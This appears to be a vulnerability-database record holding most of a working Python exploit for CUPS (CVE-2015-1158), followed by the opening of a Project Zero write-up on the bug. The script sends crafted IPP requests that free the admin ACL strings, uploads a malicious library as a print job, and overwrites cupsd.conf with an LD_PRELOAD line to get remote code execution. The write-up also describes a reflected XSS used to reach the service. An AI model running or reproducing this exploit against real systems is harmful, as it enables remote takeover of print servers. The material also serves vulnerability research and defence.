\"\\x44\"+\"\\x00\\x0e\"+\"job-hold-until\"+\"\\x00\\x0a\"+\"indefinite\"\r

\"\\x21\"+\"\\x00\\x0c\"+\"job-priority\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x32\"\r

\"\\x42\"+\"\\x00\\x0a\"+\"job-sheets\"+\"\\x00\\x04\"+\"none\"+\"\\x42\"+\"\\x00\\x00\\x00\\x04\"+\"none\"\r

\"\\x21\"+\"\\x00\\x09\"+\"number-up\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"\r

\"\\x03\")\r

pretty(\"*\",\"Sending createJob\")\r

\r

http_header1 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(create_job_packet) + 0) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

createJobRequest = http_header1 + create_job_packet\r

blah = txrx(rhost,int(rport),\"tcp\",createJobRequest)\r

if blah is not None:\r

m = re.search(\"ipp://\" + rhost + \":\" + str(rport) + \"/jobs/(\\d+)\",blah)\r

if m is not None:\r

jobid = m.group(1)\r

else:\r

pretty(\"-\",\"something went wrong\");\r

exit()\r

\r

pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")\r

pretty(\"*\", \"Sending sendJob\")\r

\r

send_document_packet = (\"\\x02\\x00\"\r

\"\\x00\\x06\"+\r

reqid2+\r

\"\\x01\"\r

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"\r

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"\r

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +\r

\"\\x21\"+\"\\x00\\x06\"+\"job-id\"+\"\\x00\\x04\"+ str(pack(\">i\", int(jobid))) +\r

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"\r

\"\\x42\"+\"\\x00\\x0d\"+\"document-name\"+\"\\x00\\x06\"+\"badlib\"\r

\"\\x49\"+\"\\x00\\x0f\"+\"document-format\"+\"\\x00\\x18\"+\"application/octet-stream\"\r

\"\\x22\"+\"\\x00\\x0d\"+\"last-document\"+\"\\x00\\x01\"+\"\\x01\"\r

\"\\x03\"+\r

payload)\r

\r

http_header2 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(send_document_packet) + 0) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

sendJobRequest = http_header2 + send_document_packet\r

blah2 = txrx(\"172.20.32.3\",631,\"tcp\",sendJobRequest)\r

pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")\r

pretty(\"*\",\"job id: \" + jobid)\r

return jobid\r

\r

def stompACL(rhost, rport, printer):\r

i = random.randint(1,1024)\r

printer_url = \"ipp://\" + rhost + \":\" + rport + printer\r

\r

admin_stomp = (\"\\x02\\x00\" # vers 2.0\r

\"\\x00\\x05\"+ # op id: Create Job (0x0005)\r

str(pack(\">i\",(i+1)))+\r

\"\\x01\" # op attributes marker\r

\"\\x47\" # charset\r

\"\\x00\\x12\" # name len: 18\r

\"attributes-charset\"\r

\"\\x00\\x08\" # val len: 8\r

\"us-ascii\"\r

\"\\x48\" # natural language\r

\"\\x00\\x1b\" # name len: 27\r

\"attributes-natural-language\"\r

\"\\x00\\x06\" # val len: 6\r

\"/admin\"\r

\"\\x45\" # printer-uri\r

\"\\x00\\x0b\" # name len 11\r

\"printer-uri\" +\r

str(pack(\">h\", len(printer_url))) + printer_url +\r

\"\\x42\" # name without lang\r

\"\\x00\\x14\" # name len: 20\r

\"requesting-user-name\"\r

\"\\x00\\x06\" # val len: 6\r

\"/admin\"\r

\"\\x02\" # job attrs marker\r

\"\\x21\" # integer\r

\"\\x00\\x06\" # name len: 6\r

\"copies\"\r

\"\\x00\\x04\" # val len: 4\r

\"\\x00\\x00\\x00\\x01\" # 1\r

\"\\x42\" # name w/o lang\r

\"\\x00\\x19\" # name len: 25\r

\"job-originating-host-name\"\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x36\" # nwl\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x16\" # val len: 22\r

\"\\x00\\x06\" # length\r

\"/admin\"\r

\"\\x00\\x0c\"\r

\"BBBBBBBBBBBB\"\r

\"\\x03\") # end of attributes\r

\r

conf_stomp = (\"\\x02\\x00\" # vers 2.0\r

\"\\x00\\x05\"+ # op id: Create Job (0x0005)\r

str(pack(\">i\",(i+2)))+\r

\"\\x01\" # op attributes marker\r

\"\\x47\" # charset\r

\"\\x00\\x12\" # name len: 18\r

\"attributes-charset\"\r

\"\\x00\\x08\" # val len: 8\r

\"us-ascii\"\r

\"\\x48\" # natural language\r

\"\\x00\\x1b\" # name len: 27\r

\"attributes-natural-language\"\r

\"\\x00\\x0b\" # val len: 11\r

\"/admin/conf\"\r

\"\\x45\" # printer-uri\r

\"\\x00\\x0b\" # name len 11\r

\"printer-uri\" +\r

str(pack(\">h\", len(printer_url))) + printer_url +\r

\"\\x42\" # name without lang\r

\"\\x00\\x14\" # name len: 20\r

\"requesting-user-name\"\r

\"\\x00\\x0b\" # val len: 11\r

\"/admin/conf\"\r

\"\\x02\" # job attrs marker\r

\"\\x21\" # integer\r

\"\\x00\\x06\" # name len: 6\r

\"copies\"\r

\"\\x00\\x04\" # val len: 4\r

\"\\x00\\x00\\x00\\x01\" # 1\r

\"\\x42\" # name w/o lang\r

\"\\x00\\x19\" # name len: 25\r

\"job-originating-host-name\"\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x36\" # nwl\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x1b\" # val len: 27\r

\"\\x00\\x0b\" # length\r

\"/admin/conf\"\r

\"\\x00\\x0c\"\r

\"BBBBBBBBBBBB\"\r

\"\\x03\") # end of attributes\r

\r

http_header1 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(admin_stomp)) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

http_header2 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(conf_stomp)) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

pretty(\"*\",\"stomping ACL\")\r

pretty(\"*\",\">:\

\" + createDump(http_header1 + admin_stomp))\r

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header1 + admin_stomp)))\r

time.sleep(1)\r

pretty(\"*\",\">:\

\" + createDump(http_header2 + conf_stomp))\r

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header2 + conf_stomp)))\r

\r

http_header_check = (\"GET /admin HTTP/1.1\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

pretty(\"*\",\"checking /admin\")\r

pretty(\"*\",\">:\

\" + createDump(http_header_check))\r

res = txrx(rhost,rport,\"tcp\",http_header_check)\r

pretty(\"*\",\"<:\

\" + createDump(res))\r

m = re.search('200 OK', res)\r

if m is not None:\r

pretty(\"+\",\"ACL stomp successful\")\r

else:\r

pretty(\"-\",\"exploit failed\")\r

exit(1)\r

\r

\r

def getConfig(rhost, rport):\r

i = random.randint(1,1024)\r

original_config = \"\"\r

http_request = (\"GET /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

pretty(\"*\",\"grabbing configuration file....\")\r

res = txrx(rhost,rport,\"tcp\",http_request)\r

res_array = res.split(\"\\x0d\\x0a\\x0d\\x0a\")\r

original_config = res_array[1]\r

pretty(\"*\",\"config:\

\" + original_config + \"\

\")\r

return original_config\r

\r

def putConfig(rhost, rport, config):\r

http_request = (\"PUT /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Keep-Alive\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(config)) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

pretty(\"*\",\"overwriting config...\")\r

pretty(\"*\",\">:\

\" + createDump(http_request + config))\r

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_request + config)))\r

\r

def poisonConfig(config, name):\r

config = config + \"\\x0a\\x0aSetEnv LD_PRELOAD /var/spool/cups/d00\" + name + \"-001\\x0a\"\r

return config\r

\r

def main():\r

rhost = None;\r

noshell = None;\r

options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])\r

for opt, arg in options:\r

if opt in ('-h', '--help'):\r

usage()\r

elif opt in ('-a','--rhost'):\r

rhost = arg;\r

elif opt in ('-b','--rport'):\r

rport = arg;\r

elif opt in ('-c','--lib'):\r

libpath = arg;\r

elif opt in ('-f','--stomp-only'):\r

noshell = 1;\r

banner()\r

if rhost is None or rport is None:\r

usage()\r

pretty(\"*\",\"locate available printer\")\r

printer = locatePrinters(rhost, rport)\r

pretty(\"*\",\"stomp ACL\")\r

stompACL(rhost, rport, printer)\r

if (noshell is not None):\r

pretty(\"*\",\"fin\")\r

exit(0)\r

pretty(\"*\",\"prepare payload\")\r

payload = preparePayload(libpath)\r

pretty(\"*\",\"spray payload\")\r

jobid = seedTarget(rhost, rport, printer, payload)\r

pretty(\"*\",\"grab original config\")\r

OG_config = getConfig(rhost, rport)\r

pretty(\"*\",\"generate poison config\")\r

evil_config = poisonConfig(OG_config, jobid)\r

pretty(\"*\",\"upload poison config\")\r

putConfig(rhost, rport, evil_config)\r

pretty(\"*\",\"fin\")\r

exit(0);\r

\r

if __name__ == \"__main__\":\r

main()", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/41233/"}, {"lastseen": "2016-02-04T05:36:17", "description": "CUPS < 2.0.3 - Multiple Vulnerabilities. CVE-2015-1158. Remote exploits for multiple platform", "published": "2015-06-22T00:00:00", "type": "exploitdb", "title": "CUPS < 2.0.3 - Multiple Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158"], "modified": "2015-06-22T00:00:00", "id": "EDB-ID:37336", "href": "https://www.exploit-db.com/exploits/37336/", "sourceData": "Source: http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html\r

\r

Abstract\r

\r

Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and others become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is the subject of great debate amongst security researchers.\r

\r

Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat these exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in the short term, but hinders broader innovation.\r

\r

In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I then discuss how to build an exploit using the primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds the effect of the first, exposing otherwise unreachable instances of CUPS. Finally, I discuss the specific features and configuration options of CUPS that either helped or hindered exploitation.\r

\r

By publishing this analysis, I hope to encourage transparent discourse on the state of exploits and mitigations, and inspire other researchers to do the same.\r

\r

Summary\r

\r

Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement the reference count for a string from the request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, then run arbitrary code.\r

\r

The reference count over-decrement is exploitable in default configurations, and does not require any special permissions other than the basic ability to print. A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. The XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.\r

\r

Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations.\r

Background\r

\r

Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158)\r

\r

When freeing localized multi-value attributes, the reference count on the language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees the 'language' field for all strings in a group, instead of using 'ipp_free_values()'.\r

\r

scheduler/ipp.c:1626:\r

\r

/*\r

* Free old strings\u2026 \u2190 Even 'old' strings need to be freed.\r

*/\r

\r

for (i = 0; i < attr->num_values; i ++)\r

{\r

_cupsStrFree(attr->values[i].string.text);\r

attr->values[i].string.text = NULL;\r

if (attr->values[i].string.language) \u2190 for all values in an attribute\r

{\r

_cupsStrFree(attr->values[i].string.language); \u2190 free the 'language' string\r

attr->values[i].string.language = NULL;\r

}\r

}\r

\r

In this case, 'language' field comes from the value of the 'attributes-natural-language' attribute in the request.\r

\r

To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times the reference count is decremented. For a 10-value attribute, the reference count for 'language' is increased once, but decremented 10 times.\r

\r

The over-decrement prematurely frees the heap block for the target string. The actual block address will be quickly re-used by subsequent allocations.\r

\r

Dangling pointers to the block remain, but the content they point to changes when blocks are freed or reused. This is the basic exploit primitive upon which we build.\r

\r

\r

A Reflected XSS in the Web Interface (CVE-2015-1159)\r

\r

The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'.\r

\r

The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but the second case ends up being interesting.\r

\r

The code is found in 'cgi_puts()', and escapes the following reserved HTML characters:\r

<>\"'&\r

\r

These are replaced with their HTML entity equivalents ('<' etc...).\r

\r

The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650:\r

\r

if (*s == '<')\r

{\r

/*\r

* Pass <A HREF=\"url\"> and </A>, ot